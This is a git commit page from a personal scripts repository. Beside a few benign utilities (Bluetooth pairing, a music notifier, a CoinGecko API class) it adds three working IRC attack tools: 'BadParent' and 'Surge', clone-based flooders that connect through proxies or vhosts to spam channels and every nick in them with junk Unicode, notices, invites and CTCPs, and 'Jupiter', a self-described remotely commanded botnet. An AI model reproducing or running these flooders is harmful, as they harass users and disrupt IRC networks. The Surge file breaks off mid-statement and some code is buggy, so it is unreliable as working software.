1
mirror of git://git.acid.vegas/random.git synced 2024-12-04 21:46:40 +00:00

reorganized stuff and added random WHAT THE FUCK

This commit is contained in:
Dionysus 2022-11-13 22:19:03 -05:00
parent 4846592fee
commit d88c916f1d
Signed by: acidvegas
GPG Key ID: EF4B922DB85DC9DE
13 changed files with 1228 additions and 8 deletions

12
btkb.sh Normal file
View File

@ -0,0 +1,12 @@
#!/bin/sh
pacman -S bluez bluez-utils
systemctl enable bluetooth && sudo systemctl start bluetooth
sed -i 's/#AutoEnable=false/AutoEnable=true/' /etc/bluetooth/main.conf
bluetoothctl power on # possible bluetoothctl -- <cmd>
bluetoothctl agent KeyboardOnly
bluetoothctl pairable on
bluetoothctl scan on
bluetoothctl pair CC:C5:0A:20:91:5B
bluetoothctl trust CC:C5:0A:20:91:5B
bluetoothctl connect CC:C5:0A:20:91:5B
bluetoothctl scan off

4
cmus-now Executable file
View File

@ -0,0 +1,4 @@
#!/bin/sh
artist=`cmus-remote -Q | grep --text '^tag artist' | sed '/^tag artistsort/d' | awk '{gsub("tag artist ", "");print}'`
title=`cmus-remote -Q | grep --text '^tag title' | sed -e 's/tag title //' | awk '{gsub("tag title ", "");print}'`
notify-send "♫ $artist - $title"

60
coingecko.py Normal file
View File

@ -0,0 +1,60 @@
#!/usr/bin/env python
# CoinGecko API Class - Developed by acidvegas in Python (https://acid.vegas/coinmarketcap)
'''
API Reference: https://www.coingecko.com/en/api#explore-api
'''
import http.client
import json
import time
class CoinGecko():
def __init__(self):
self.cache = dict()
self.last = 0
def api(self, endpoint):
conn = http.client.HTTPSConnection('api.coingecko.com', timeout=15)
conn.request('GET', '/api/v3/' + endpoint, headers={'Accept':'application/json',})
response = conn.getresponse().read().decode('utf-8')
conn.close()
return json.loads(response)
def market(self):
if time.time() - self.last > 300:
page = 1
while True:
data = self.api('coins/markets?vs_currency=usd&order=market_cap_desc&per_page=250&page=' + str(page) + '&sparkline=true&price_change_percentage=1h%2C24h%2C7d%2C30d%2C1y')
if not data:
break
for coin in data:
self.cache[coin['symbol']] = {
'name' : coin['name'],
'price' : coin['current_price'],
'market_cap' : coin['market_cap'],
'rank' : coin['market_cap_rank'],
'volume' : coin['total_volume'],
'change' : {
'1h' : coin['price_change_percentage_1h_in_currency'],
'1d' : coin['price_change_percentage_24h_in_currency'],
'1w' : coin['price_change_percentage_7d_in_currency'],
'1m' : coin['price_change_percentage_30d_in_currency'],
'1y' : coin['price_change_percentage_1h_in_currency']
}
}
page += 1
self.last = time.time()
return self.cache
def trending(self):
return [coin['item']['symbol'] for coin in self.api('search/trending')['coins']]
def global_(self):
data = self.api('global')['data']
results = {
'cryptocurrencies' : data['active_cryptocurrencies']
'markets' : data['markets']
'btc_dominance' : data['market_cap_percentage']['btc']
}
return results

View File

@ -1,8 +0,0 @@
#/bin/sh
[ ! getent group ssh ] && groupadd ssh
[ ! grep -q /usr/bin/git-shell /etc/shells ] && echo /usr/bin/git-shell >> /etc/shells
[ ! $(getent passwd git > /dev/null) ] && userdel -f git
[ ! -d /srv/git ] && mkdir /srv/git
useradd -d /srv/git -G ssh -k /dev/null -m -s /usr/bin/git-shell -U git
echo "PUBLICKEY" > /etc/ssh/authorized_keys/git
mkdir /srv/git/$1.git && git -C /srv/git/$1.git --bare init && chown -R git:git /srv/git/$1.git

302
irc/bots/badparent.py Normal file
View File

@ -0,0 +1,302 @@
#!/usr/bin/env python
# BadParent IRC Bot - Developed by acidvegas in Python (https://acid.vegas/trollbots)
# badparent.py
'''
The parent bot will join a channel, parse the entire nicklist, and maintain it during joins, quits, nick changes, etc.
The child bot clones will use either proxies or virtual hosts to connect and PM the nicklist.
Nicks that have the usermode +g *(callerid)*, +D *(privdeaf)*, and +R *(regonlymsg)* will be removed from the nicklist.
'''
import argparse
import concurrent.futures
import os
import random
import ssl
import socket
import string
import sys
import threading
import time
server = 'irc.server.com'
port = 6667
nickname = 'BIGDADDY'
username = 'dad'
realname = 'I am horrible...'
def alert(msg):
print(f'{get_time()} | [+] - {msg}')
def debug(msg):
print(f'{get_time()} | [~] - {msg}')
def error(msg, reason=None):
print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
def error_exit(msg):
raise SystemExit(f'{get_time()} | [!] - {msg}')
def get_time():
return time.strftime('%I:%M:%S')
def random_str(size):
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
def unicode():
msg = ''
for i in range(random.randint(400,450)):
msg += chr(random.randint(0x1000, 0x3000))
return msg
class parent(object):
def __init__(self):
self.nicklist = list()
self.sock = None
def connect(self):
try:
self.sock = socket.socket()
self.sock.connect((server, port))
self.raw(f'USER {username} 0 * :{realname}')
self.raw('NICK ' + nickname)
except socket.error as ex:
error('Failed to connect to IRC server.', ex)
self.event_disconnect()
else:
self.listen()
def event_connect(self):
if config.login.nickserv:
self.identify(config.ident.nickname, config.login.nickserv)
self.join_channel(config.connection.channel, config.connection.key)
def event_disconnect(self):
error('The parent bot has disconected!')
self.sock.close()
def event_end_of_names(self, chan):
if self.nicklist:
alert(f'Found {len(self.nicklist)} nicks in channel.')
threading.Thread(target=load_children).start()
else:
error('Failed to parse nicklist from channel.')
def event_join(self, nick, chan):
if chan == config.connection.channel:
if nick not in self.nicklist:
self.nicklist.append(nick)
def event_kick(self, nick, chan, kicked):
if chan == config.connection.channel:
if kicked == config.ident.nickname:
time.sleep(3)
self.join(self.chan, self.key)
def event_names(self, chan, names):
if chan == config.connection.channel:
for name in names:
if name[:1] in '~!@%&+:':
name = name[1:]
if name != config.ident.nickname and name not in self.nicklist:
self.nicklist.append(name)
def event_nick(self, nick, new):
if nick in self.nicklist:
self.nicklist.remove(nick)
self.nicklist.append(new)
def event_nick_in_use(self):
self.raw('NICK ' + random_str(random.randint(4,7)))
def event_quit(self, nick):
if nick in self.nicklist:
self.nicklist.remove(nick)
def handle_events(self, data):
args = data.split()
if data.startswith('ERROR :Closing Link:'):
raise Exception('Connection has closed.')
elif args[0] == 'PING':
self.raw('PONG ' + args[1][1:])
elif args[1] == '001':
self.event_connect()
elif args[1] == '433':
self.event_nick_in_use()
elif args[1] == '353':
chan = args[4]
if ' :' in data:
names = data.split(' :')[1].split()
elif ' *' in data:
names = data.split(' *')[1].split()
elif ' =' in data:
names = data.split(' =')[1].split()
else:
names = data.split(chan)[1].split()
self.event_names(chan, names)
elif args[1] == '366':
chan = args[3]
self.event_end_of_names(chan)
elif args[1] == 'JOIN':
nick = args[0].split('!')[0][1:]
chan = args[2][1:]
self.event_join(nick, chan)
elif args[1] == 'KICK':
chan = args[2]
kicked = args[3]
self.event_kick(nick, chan, kicked)
elif args[1] == 'NICK':
nick = args[0].split('!')[0][1:]
new = args[2][1:]
self.event_nick(nick, new)
elif args[1] == 'QUIT' :
nick = args[0].split('!')[0][1:]
self.event_quit(nick)
def join_channel(self, chan, key=None):
self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
def listen(self):
while True:
try:
data = self.sock.recv(1024).decode('utf-8')
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
self.handle_events(line)
except (UnicodeDecodeError,UnicodeEncodeError):
pass
except Exception as ex:
error('Unexpected error occured.', ex)
break
self.event_disconnect()
def raw(self, msg):
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
class child:
def __init__(self, data_line):
self.data_line = data_line
self.sock = None
def attack(self):
while True:
try:
if not Parent.nicklist:
error('Nicklist has become empty!')
break
for name in Parent.nicklist:
self.sendmsg(name, unicode())
time.sleep(config.throttle.pm)
except:
break
def connect(self):
try:
self.create_socket()
self.sock.connect((config.connection.server, config.connection.port))
self.raw('USER {0} 0 * :{1}'.format(random_str(random.randint(4,7)), random_str(random.randint(4,7))))
self.raw('NICK ' + random_str(random.randint(4,7)))
except socket.error:
self.sock.close()
else:
self.listen()
def create_socket(self):
family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
if pargs.proxy:
proxy_server, proxy_port = self.data_line.split(':')
self.sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setblocking(0)
self.sock.settimeout(config.throttle.timeout)
self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
elif pargs.vhost:
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
self.sock.bind((self.data_line, 0))
if config.connection.ssl:
self.sock = ssl.wrap_socket(self.sock)
def listen(self):
while True:
try:
data = self.sock.recv(1024).decode('utf-8')
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
args = data.split()
if data.startswith('ERROR :Closing Link:'):
raise Exception('Connection has closed.')
elif args[0] == 'PING':
self.raw('PONG ' + args[1][1:])
elif args[1] == '001':
alert(f'Successful connection. ({self.data_line})')
threading.Thread(target=self.attack).start()
elif args[1] == '401':
nick = args[3]
self.event_bad_nick()
elif args[1] == '433':
self.raw('NICK ' + random_str(random.randint(4,7)))
elif args[1] == '486':
nick = args[-1:]
self.event_bad_nick(nick)
elif args[1] == '716':
nick = args[3]
if nick in Parent.nicklist:
Parent.nicklist.remove(nick)
elif args[1] == 'NOTICE':
if 'User does not accept private messages' in data:
nick = args[5][1:-1]
self.event_bad_nick(nick)
except (UnicodeDecodeError,UnicodeEncodeError):
pass
except:
break
self.sock.close()
def raw(self, msg):
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
def sendmsg(self, target, msg):
self.raw(f'PRIVMSG {target} :{msg}')
def load_children():
debug('Loading children bots...')
for i in range(config.throttle.concurrency):
debug('Concurrency round starting....')
with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
checks = {executor.submit(child(item).connect): item for item in data_lines}
for future in concurrent.futures.as_completed(checks):
checks[future]
debug('Flooding is complete. (Threads still may be running!)')
# Main
print('#'*56)
print('#{0}#'.format(''.center(54)))
print('#{0}#'.format('BadParent IRC PM Flooder'.center(54)))
print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
print('#{0}#'.format('https://acid.vegas/badparent'.center(54)))
print('#{0}#'.format(''.center(54)))
print('#'*56)
parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
parser.add_argument('input', help='file to scan')
parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
pargs = parser.parse_args()
if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
error_exit('Invalid arguments.')
if pargs.proxy:
try:
import socks
except ImportError:
error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
if not os.path.isfile(pargs.input):
error_exit('No such input file.')
data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
debug(f'Loaded {len(data_lines)} lines from file.')
random.shuffle(data_lines)
debug('Starting parent bot connection...')
Parent = parent()
Parent.connect()

309
irc/bots/jupiter.py Normal file
View File

@ -0,0 +1,309 @@
#!/usr/bin/env python
# Jupiter IRC Botnet - Developed by acidvegas in Python (https://acid.vegas/jupiter)
'''
Jupiter will create a botnet by connecting a defined number of clones to every EFMet server.
A single host could potentially create over 30 clones.
It is meant to monitor/jupe/hold nicks & be controlled to do just about anything.
The bot is designed to be very minimal, secure, & trustless by nature.
This means anyone can run a copy of your script on their server to help build your botnet.
Commands
id | Send bot identity
raw [-d] <data> | Send \<data> to server. optionally delayed with -d argument
monitor list | Return MONITOR list
monitor reset | Reset MONITOR list
monitor <+/-><nicks> | Add (+) or Remove (-) <nicks> from MONITOR list. (Can be a single nick or comma seperated list)
All commands must be prefixed with @all or the bots nick & will work in a channel or private message.
Raw data must be IRC RFC compliant data & any nicks in the MONITOR list will be juped as soon as they become available.
It is highly recommended that you use a random spoofing ident protocol daemon:
https://github.com/acidvegas/random/blob/master/irc/identd.py
'''
import random
import re
import socket
import ssl
import time
import threading
# Connection
servers = (
'efnet.deic.eu', # IPv6
'efnet.port80.se', # IPv6
'efnet.portlane.se', # IPv6
'irc.choopa.net', # IPv6
'irc.colosolutions.net',
'irc.du.se',
'irc.efnet.fr', # IPv6
'irc.efnet.nl', # IPv6 +6669
'irc.homelien.no', # IPv6
'irc.mzima.net', # IPv6 +6697
'irc.nordunet.se', # IPv6
'irc.prison.net',
'irc.underworld.no', # IPv6
'irc.servercentral.net' # +9999
)
ipv6 = False
vhosts = None # Use (line.rstrip() for line in open('vhosts.txt','r').readlines() if line) for reading from a file.
channel = '#jupiter'
key = None
# Settings
admin = 'nick!user@host' # Can use wildcards (Must be in nick!user@host format)
concurrency = 3 # Number of clones to load per server
id = 'TEST' # Unique ID so you can tell which bots belong what server
# Formatting Control Characters / Color Codes
bold = '\x02'
reset = '\x0f'
green = '03'
red = '04'
purple = '06'
orange = '07'
yellow = '08'
light_green = '09'
cyan = '10'
light_cyan = '11'
light_blue = '12'
pink = '13'
grey = '14'
# Globals
bots = list()
def botlist(nick):
global bots
if nick[:1] == '+':
bots.append(nick[1:])
elif nick[:1] == '-':
bots.remove(nick[1:])
def color(msg, foreground, background=None):
return f'\x03{foreground},{background}{msg}{reset}' if background else f'\x03{foreground}{msg}{reset}'
def debug(msg):
print(f'{get_time()} | [~] - {msg}')
def error(msg, reason=None):
print(f'{get_time()} | [!] - {msg} ({reason})') if reason else print(f'{get_time()} | [!] - {msg}')
def get_time():
return time.strftime('%I:%M:%S')
def is_admin(ident):
return re.compile(admin.replace('*','.*')).search(ident)
def random_nick():
prefix = random.choice(['st','sn','cr','pl','pr','qu','br','gr','sh','sk','kl','wr']+list('bcdfgklmnprstvwz'))
midfix = random.choice(('aeiou'))+random.choice(('aeiou'))+random.choice(('bcdfgklmnprstvwz'))
suffix = random.choice(['ed','est','er','le','ly','y','ies','iest','ian','ion','est','ing','led']+list('abcdfgklmnprstvwz'))
return prefix+midfix+suffix
class clone(threading.Thread):
def __init__(self, server, vhost):
self.monlist = list()
self.nickname = random_nick()
self.server = server
self.sock = None
self.vhost = vhost
threading.Thread.__init__(self)
def run(self):
time.sleep(random.randint(300,900))
self.connect()
def connect(self):
try:
self.create_socket()
self.sock.connect((server, 6667))
self.raw(f'USER {random_nick()} 0 * :{random_nick()}')
self.nick(self.nickname)
except socket.error as ex:
error('Failed to connect to IRC server.', ex)
self.event_disconnect()
else:
self.listen()
def create_socket(self):
ipv6_check = set([ip[4][0] for ip in socket.getaddrinfo(server,6667) if ':' in ip[4][0]])
self.sock = socket.socket(socket.AF_INET6) if ipv6 and ipv6_check else socket.socket()
if self.vhost:
self.sock.bind((self.vhost,0))
#self.sock = ssl.wrap_socket(self.sock)
def event_connect(self):
if self.nickname not in bots:
botlist('+'+self.nickname)
if self.monlist:
self.monitor('+', self.monlist)
self.join_channel(channel, key)
def event_ctcp(self, nick, target, msg):
if target == self.nickname:
self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('CTCP', green), color('<', grey), color(nick, yellow), color('>', grey), msg))
def event_disconnect(self):
if self.nickname in bots:
botlist('-'+self.nickname)
self.sock.close()
time.sleep(86400+random.randint(1800,3600))
self.connect()
def event_nick(self, nick, new_nick):
if nick == self.nickname:
self.nickname = new_nick
if new_nick in self.monlist:
self.monitor('C')
self.monlist = list()
elif nick in self.monlist:
self.nick(nick)
def event_nick_in_use(self, nick, target_nick):
if nick == '*':
self.nickname = random_nick()
self.nick(self.nickname)
def event_notice(self, nick, target, msg):
if target == self.nickname:
self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('NOTICE', purple), color('<', grey), color(nick, yellow), color('>', grey), msg))
def event_message(self, ident, nick, target, msg):
if is_admin(ident):
args = msg.split()
if args[0] in ('@all',self.nickname) and len(args) >= 2:
if len(args) == 2:
if args[1] == 'id':
self.sendmsg(target, id)
elif len(args) == 3 and args[1] == 'monitor':
if args[2] == 'list' and self.monlist:
self.sendmsg(target, '[{0}] {1}'.format(color('Monitor', light_blue), ', '.join(self.monlist)))
elif args[2] == 'reset' and self.monlist:
self.monitor('C')
self.monlist = list()
self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(self.monlist)), cyan), color('removed', red)))
elif args[2][:1] == '+':
nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick not in self.monlist]
if nicks:
self.monitor('+', nicks)
self.monlist += nicks
self.sendmsg(target, '{0} nick(s) have been {1} to the monitor list.'.format(color(str(len(nicks)), cyan), color('added', green)))
elif args[2][:1] == '-':
nicks = [mon_nick for mon_nick in set(args[2][1:].split(',')) if mon_nick in self.monlist]
if nicks:
self.monitor('-', nicks)
for mon_nick in nicks:
self.monlist.remove(mon_nick)
self.sendmsg(target, '{0} nick(s) have been {1} from the monitor list.'.format(color(str(len(nicks)), cyan), color('removed', red)))
elif len(args) >= 4 and args[1] == 'raw':
if args[2] == '-d':
data = ' '.join(args[3:])
threading.Thread(target=self.raw, args=(data,True)).start()
else:
data = ' '.join(args[2:])
self.raw(data)
elif target == self.nickname:
if msg.startswith('\x01ACTION'):
self.sendmsg(channel, '[{0}] {1}{2}{3} * {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg[8:][:-1]))
else:
self.sendmsg(channel, '[{0}] {1}{2}{3} {4}'.format(color('PM', red), color('<', grey), color(nick, yellow), color('>', grey), msg))
def event_mode(self, nick, chan, modes):
pass # Don't know what we are doing with this yet.
def event_quit(self, nick):
if nick in self.monlist:
self.nick(nick)
def handle_events(self, data):
args = data.split()
if data.startswith('ERROR :Closing Link:'):
raise Exception('Connection has closed.')
elif data.startswith('ERROR :Reconnecting too fast'):
raise Exception('Connection has closed. (throttled)')
elif args[0] == 'PING':
self.raw('PONG ' + args[1][1:])
elif args[1] == '001': # RPL_WELCOME
self.event_connect()
elif args[1] == '433' and len(args) >= 4: # ERR_NICKNAMEINUSE
nick = args[2]
target_nick = args[3]
self.event_nick_in_use(nick, target_nick)
elif args[1] == '731' and len(args) >= 4: # RPL_MONOFFLINE
nick = args[3][1:]
self.nick(nick)
elif args[1] == 'MODE' and len(args) >= 4:
nick = args[0].split('!')[0][1:]
chan = args[2]
modes = ' '.join(args[:3])
self.event_mode(nick, chan, modes)
elif args[1] == 'NICK' and len(args) == 3:
nick = args[0].split('!')[0][1:]
new_nick = args[2][1:]
self.event_nick(nick, new_nick)
elif args[1] == 'NOTICE':
nick = args[0].split('!')[0][1:]
target = args[2]
msg = ' '.join(args[3:])[1:]
self.event_notice(nick, target, msg)
elif args[1] == 'PRIVMSG' and len(args) >= 4:
ident = args[0][1:]
nick = args[0].split('!')[0][1:]
target = args[2]
msg = ' '.join(args[3:])[1:]
if msg[:1] == '\001':
msg = msg[1:]
self.event_ctcp(nick, target, msg)
else:
self.event_message(ident, nick, target, msg)
elif args[1] == 'QUIT':
nick = args[0].split('!')[0][1:]
self.event_quit(nick)
def join_channel(self, chan, key=None):
self.raw(f'JOIN {chan} {key}') if key else self.raw('JOIN ' + chan)
def listen(self):
while True:
try:
data = self.sock.recv(1024).decode('utf-8')
for line in (line for line in data.split('\r\n') if len(line.split()) >= 2):
debug(line)
self.handle_events(line)
except (UnicodeDecodeError,UnicodeEncodeError):
pass
except Exception as ex:
error('Unexpected error occured.', ex)
break
self.event_disconnect()
def mode(self, target, mode):
self.raw(f'MODE {target} {mode}')
def monitor(self, action, nicks=list()):
self.raw(f'MONITOR {action} ' + ','.join(nicks))
def nick(self, nick):
self.raw('NICK ' + nick)
def raw(self, data, delay=False):
if delay:
time.sleep(random.randint(300,900))
self.sock.send(bytes(data + '\r\n', 'utf-8'))
def sendmsg(self, target, msg):
self.raw(f'PRIVMSG {target} :{msg}')
# Main
if type(vhosts) == list:
for vhost in vhosts:
for i in range(concurrency):
for server in servers:
clone(server, vhost).start()
else:
for i in range(concurrency):
for server in servers:
clone(server, vhosts).start()
while True:input('')

396
irc/bots/surge.py Normal file
View File

@ -0,0 +1,396 @@
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Surge IRC Flooder - Developed by acidvegas in Python (https://acid.vegas/trollbots)
# surge.py
'''
- Action
- Color
- CTCP Channel / CTCP Nick *(PING, TIME, VERSION)*
- Cycle *(Join/Part)*
- Hilight
- Invite
- Message / Private Message
- Nick
- Notice
- Topic
- Nick Registration (Channel & VHOST also if successful)
The script uses IRC numeric detection and will stop a specific flood type if it becomes blocked.
If the channel becomes locked out due to a ban or specific mode, it will continue to flood the nicklist.
'''
import argparse
import concurrent.futures
import os
import random
import ssl
import socket
import string
import sys
import threading
import time
class config:
class connection:
server = 'irc.server.com'
port = 6667
ipv6 = False
ssl = False
password = None
channel = '#chats'
key = None
class attacks:
channel = ['action','color','ctcp','msg','nick','notice','part','topic']
message = 'SURGE SURGE SURGE SURGE SURGE'
nicklist = ['ctcp','invite','notice','private']
class throttle:
attack = 3
concurrency = 3
threads = 100
rejoin = 3
timeout = 15
# Bad IRC Numerics
bad_numerics = {
'465' : 'ERR_YOUREBANNEDCREEP',
'471' : 'ERR_CHANNELISFULL',
'473' : 'ERR_INVITEONLYCHAN',
'474' : 'ERR_BANNEDFROMCHAN',
'475' : 'ERR_BADCHANNELKEY',
'477' : 'ERR_NEEDREGGEDNICK',
'519' : 'ERR_TOOMANYUSERS'
}
def alert(msg):
print(f'{get_time()} | [+] - {msg}')
def debug(msg):
print(f'{get_time()} | [~] - {msg}')
def error(msg, reason=None):
if reason:
print(f'{get_time()} | [!] - {msg} ({reason})')
else:
print(f'{get_time()} | [!] - {msg}')
def error_exit(msg):
raise SystemExit(f'{get_time()} | [!] - {msg}')
def get_time():
return time.strftime('%I:%M:%S')
def keep_alive():
try:
while True:
input('')
except KeyboardInterrupt:
sys.exit()
def random_int(min, max):
return random.randint(min, max)
def random_str(size):
return ''.join(random.choice(string.ascii_letters) for _ in range(size))
class clone:
def __init__(self, data_line):
self.data_line = data_line
self.invite_channel = '#' + random_str(random_int(4,7))
self.invite_count = 0
self.nickname = random_str(random_int(4,7))
self.nicklist = []
self.sock = None
def run(self):
self.connect()
def action(self, chan, msg):
self.sendmsg(chan, f'\x01ACTION {msg}\x01')
def attack_channel(self):
while True:
if not config.attacks.channel:
error('Channel attack list is empty.')
break
else:
option = random.choice(config.attacks.channel)
try:
if option in ('nick','part','topic'):
if option == 'nick':
self.nickname = random_str(random_int(4,7))
self.nick(self.nickname)
elif option == 'part':
self.part(config.connection.channel, config.attacks.message)
time.sleep(config.throttle.rejoin)
self.join_channel(config.connection.channel, config.connection.key)
elif option == 'topic':
self.topic(config.connection.channel, '{0} {1} {2}'.format(random_str(random_int(5,10)), config.attacks.message, random_str(random_int(5, 10))))
else:
if self.nicklist:
message = self.rainbow('{0} {1} {2}'.format(' '.join(random.sample(self.nicklist, 3)), config.attacks.message, ' '.join(random.sample(self.nicklist, 3))))
else:
message = self.rainbow(config.attacks.message)
if option == 'action':
self.action(config.connection.channel, message)
elif option == 'ctcp':
self.ctcp(config.connection.channel, message)
elif option == 'msg':
self.sendmsg(config.connection.channel, message)
elif option == 'notice':
self.notice(config.connection.channel, message)
time.sleep(config.throttle.attack)
except:
break
def attack_nicklist(self):
while True:
if not self.nicklist:
error('Nicklist attack list is empty.')
break
else:
try:
for nick in self.nicklist:
option = random.choice(config.attacks.nicklist)
if option == 'ctcp':
self.ctcp(nick, random.choice(('PING','TIME','VERSION')))
elif option == 'invite':
self.invite(nick, self.invite_channel)
self.invite_count += 1
if self.invite_count >= 10:
self.part(self.invite_channel)
self.invite_channel = '#' + random_str(random_int(5,8))
self.join(self.invite_channel)
elif option == 'notice':
self.notice(nick, config.attacks.message)
elif option == 'private':
self.sendmsg(nick, self.rainbow(config.attacks.message))
time.sleep(config.throttle.attack)
except:
break
def connect(self):
try:
self.create_socket()
self.sock.connect((config.connection.server, config.connection.port))
self.register()
except socket.error:
self.sock.close()
else:
self.listen()
def create_socket(self):
family = socket.AF_INET6 if config.connection.ipv6 else socket.AF_INET
if pargs.proxy:
proxy_server, proxy_port = self.data_line.split(':')
self.sock = socks.socksocket(family, socket.SOCK_STREAM)
self.sock.setblocking(0)
self.sock.settimeout(config.throttle.timeout)
self.sock.setproxy(socks.PROXY_TYPE_SOCKS5, proxy_server, int(proxy_port))
elif pargs.vhost:
self.sock = socket.socket(family, socket.SOCK_STREAM)
self.sock.bind((self.data_line, 0))
if config.connection.ssl:
self.sock = ssl.wrap_socket(self.sock)
def ctcp(self, target, data):
self.sendmsg(target, f'\001{data}\001')
def event_connect(self):
alert(f'Successful connection. ({self.proxy_server}:{self.proxy_port})')
self.join_channel(config.connection.channel, config.connection.key)
self.join_channel(self.invite_channel)
def event_end_of_names(self):
threading.Thread(target=self.attack_channel).start()
threading.Thread(target=self.attack_nicklist).start()
def event_kick(self, chan, kicked):
if kicked == self.nickname:
time.sleep(config.throttle.rejoin)
self.join_channel(config.connection.channel, config.connection.key)
else:
if nick in self.nicklist:
self.nicklist.remove(nick)
def event_names(self, chan, names):
for name in names:
if name[:1] in '~!@%&+:':
name = name[1:]
if name != self.nickname and name not in self.nicklist:
self.nicklist.append(name)
def event_nick_in_use(self):
self.nickname = random_str(random_int(5,8))
self.nick(self.nickname)
def event_quit(self, nick):
if nick in self.nicklist:
self.nicklist.remove(nick)
def handle_events(self, data):
args = data.split()
if args[0] == 'PING':
self.raw('PONG ' + args[1][1:])
elif args[1] == '001':
self.event_connect()
elif args[1] == '353':
chan = args[4]
if ' :' in data:
names = data.split(' :')[1].split()
elif ' *' in data:
names = data.split(' *')[1].split()
elif ' =' in data:
names = data.split(' =')[1].split()
else:
names = data.split(chan)[1].split()
self.event_names(chan, names)
elif args[1] == '366':
self.event_end_of_names()
elif args[1] == '401':
name = args[3]
if name in self.nicklist:
self.nicklist.remove(name)
elif args[1] == '404':
if 'ACTIONs are not permitted' in data and 'action' in config.attacks.channel:
config.attacks.channel.remove('action')
elif 'Color is not permitted' in data and 'color' in config.attacks.channel:
config.attacks.channel.remove('color')
elif 'CTCPs are not permitted' in data and 'ctcp' in config.attacks.channel:
config.attacks.channel.remove('ctcp')
elif 'You need voice' in data or 'You must have a registered nick' in data:
for attack in ('action','ctcp','msg','notice','topic'):
if attack in config.attacks.channel:
config.attacks.channel.remove(attack)
elif 'NOTICEs are not permitted' in data and 'notice' in config.attacks.channel:
self.attacks_channel.remove('notice')
elif args[1] == '433':
self.event_nick_in_use()
elif args[1] == '447':
if 'nick' in config.attacks.channel:
config.attacks.channel.remove('nick')
elif args[1] == '482':
if 'topic' in config.attacks.channel:
config.attacks.channel.remove('topic')
elif args[1] == '492':
if 'ctcp' in config.attacks.nicklist:
config.attacks.nicklist.remove('ctcp')
elif args[1] == '499':
if 'topic' in config.attacks.channel:
config.attacks.channel.remove('topic')
elif args[1] == '518':
if 'invite' in config.attacks.nicklist:
config.attacks.nicklist.remove('invite')
elif args[1] in bad_numerics:
error('Flood protection has been enabled!', bad_numerics[args[1]])
self.sock.close()
elif args[1] == 'KICK':
chan = args[2]
kicked = args[3]
self.event_kick(chan, kicked)
elif args[1] == 'QUIT':
nick = args[0].split('!')[0][1:]
self.event_quit(nick)
def invite(self, nick, chan):
self.raw(f'INVITE {nick} {chan}')
def join_channel(self, chan, key=None):
if key:
self.raw(f'JOIN {chan} {key}')
else:
self.raw('JOIN ' + chan)
def listen(self):
while True:
try:
data = self.sock.recv(1024).decode('utf-8')
for line in (line for line in data.split('\r\n') if line):
if len(line.split()) >= 2:
self.handle_events(line)
except (UnicodeDecodeError,UnicodeEncodeError):
pass
except:
break
self.sock.close()
def nick(self, nick):
self.raw('NICK ' + nick)
def notice(self, target, msg):
self.raw(f'NOTICE {target} :{msg}')
def part(self, chan, msg):
self.raw(f'PART {chan} :{msg}')
def rainbow(self, msg):
if 'color' in config.attacks.channel:
message = ''
for i in range(random_int(10,20)):
message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '')
message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg)
for i in range(random_int(10,20)):
message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '')
else:
message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20)))
return message
def raw(self, msg):
self.sock.send(bytes(msg + '\r\n', 'utf-8'))
def register(self):
if config.connection.password:
self.raw('PASS ' + config.connection.password)
self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8))))
self.nick(self.nickname)
def sendmsg(self, target, msg):
self.raw(f'PRIVMSG {target} :{msg}')
def topic(self, chan, text):
self.raw(f'TOPIC {chan} :{text}')
def unicode(self, msg):
start = 0x1000
end = 0x3000
message = ''
for i in range(random.randint(100,150)):
message = message + chr(random.randint(start, end))
message = message + msg
for i in range(random.randint(100,150)):
message = message + chr(random.randint(start, end))
# Main
print('#'*56)
print('#{0}#'.format(''.center(54)))
print('#{0}#'.format('Surge IRC Flooder'.center(54)))
print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
print('#{0}#'.format(''.center(54)))
print('#'*56)
parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
parser.add_argument('input', help='file to scan')
parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
pargs = parser.parse_args()
if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
error_exit('Invalid arguments.')
if pargs.proxy:
try:
import socks
except ImportError:
error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
if not os.path.isfile(pargs.input):
error_exit('No such input file.')
data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
debug(f'Loaded {len(data_lines)} lines from file.')
random.shuffle(data_lines)
for i in range(config.throttle.concurrency):
with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
